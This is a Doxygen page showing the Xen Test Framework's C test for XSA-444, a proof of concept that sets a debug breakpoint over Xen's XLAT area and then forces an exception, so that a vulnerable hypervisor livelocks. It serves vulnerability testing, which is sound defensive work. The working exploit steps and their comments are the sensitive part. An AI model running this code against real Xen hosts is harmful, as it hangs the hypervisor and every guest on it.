Xen Test Framework
tests
xsa-444
main.c
Go to the documentation of this file.
1
59
#include <xtf.h>
60
61
const
char
test_title
[] =
"XSA-444 PoC"
;
62
63
void
test_main
(
void
)
64
{
65
unsigned
long
xlat;
66
desc_ptr gdtr;
67
long
rc;
68
69
if
( !
cpu_has_dbext
)
70
return
xtf_skip
(
"Skip: DBEXT not available\n"
);
71
72
sgdt
(&gdtr);
73
74
xlat = (gdtr.base & ~((1ul <<
PAE_L4_PT_SHIFT
) - 1)) + 0x80000000ul;
75
76
/* Try to place %dr0 over the XLAT area. */
77
rc =
hypercall_set_debugreg
(0, xlat);
78
switch
( rc )
79
{
80
case
0:
81
xtf_failure
(
"Fail: Breakpoint set on XLAT area. Probably vulnerable to XSA-444\n"
);
82
break
;
83
84
case
-
EPERM
:
85
return
xtf_success
(
"Success: Unable to set breakpoint on XLAT area. Probably not vulnerable to XSA-444\n"
);
86
87
default
:
88
return
xtf_error
(
"Error: Unexpected error from set_debugreg(): %ld\n"
, rc);
89
}
90
91
/* Turn %dr0 into a 4G-wide breakpoint, which covers the GDT too. */
92
wrmsr
(
MSR_DR0_ADDR_MASK
, ~0u);
93
94
/*
95
* Activate %dr0. From this point on, any reference to the GDT will
96
* trigger @#DB. However, as the hypercall is via SYSCALL, the return is
97
* via SYSRET which doesn't trigger @#DB.
98
*/
99
hypercall_set_debugreg
(7,
DR7_SYM
(0, G, RW, 64) |
X86_DR7_GE
);
100
101
/*
102
* Beyond the hypercall setting up %dr7, Xen is running on borrowed time.
103
*
104
* Any interrupt or non-#DB exception will cause Xen to livelock in
105
* hypervisor context, but as long as we don't tickle any @#DB cases, we
106
* get to keep running.
107
*
108
* Force a #UD to cause Xen to livelock, if a stray interrupt hasn't done
109
* it for us already.
110
*/
111
asm
volatile
(
"1: ud2a; 2:"
112
_ASM_EXTABLE
(1b, 2b));
113
114
/*
115
* If vulnerable, Xen won't even reach here. Cross-check with rc from
116
* above to provide a definitive statement.
117
*/
118
if
( rc == -
EPERM
)
119
return
xtf_success
(
"Success: Xen didn't livelock. Not vulnerable to XSA-444\n"
);
120
121
/*
122
* If we're running, then some reasoning in the test is wrong.
123
*/
124
return
xtf_error
(
"Error: Breakpoint set on XLAT but Xen didn't livelock\n"
);
125
}
126
127
/*
128
* Local variables:
129
* mode: C
130
* c-file-style: "BSD"
131
* c-basic-offset: 4
132
* tab-width: 4
133
* indent-tabs-mode: nil
134
* End:
135
*/
cpu_has_dbext
#define cpu_has_dbext
Definition:
cpuid.h:91
sgdt
static void sgdt(desc_ptr *gdtr)
Definition:
lib.h:347
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
EPERM
#define EPERM
Definition:
errno.h:15
hypercall_set_debugreg
static long hypercall_set_debugreg(unsigned int reg, unsigned long val)
Definition:
hypercall.h:80
_ASM_EXTABLE
#define _ASM_EXTABLE(fault, fixup)
Create an exception table entry.
Definition:
extable.h:50
MSR_DR0_ADDR_MASK
#define MSR_DR0_ADDR_MASK
Definition:
msr-index.h:68
wrmsr
static void wrmsr(uint32_t idx, uint64_t val)
Thin wrapper around an wrmsr instruction.
Definition:
msr.h:55
PAE_L4_PT_SHIFT
#define PAE_L4_PT_SHIFT
Definition:
page-pae.h:35
xtf_failure
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition:
report.c:94
xtf_error
void xtf_error(const char *fmt,...)
Report a test error.
Definition:
report.c:80
xtf_skip
void xtf_skip(const char *fmt,...)
Report a test skip.
Definition:
report.c:66
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
DR7_SYM
#define DR7_SYM(bp,...)
Create a partial %dr7 setting for a particular breakpoint based on mnemonics.
Definition:
x86-dbg-reg.h:100
X86_DR7_GE
#define X86_DR7_GE
Definition:
x86-dbg-reg.h:30
Generated by
1.9.4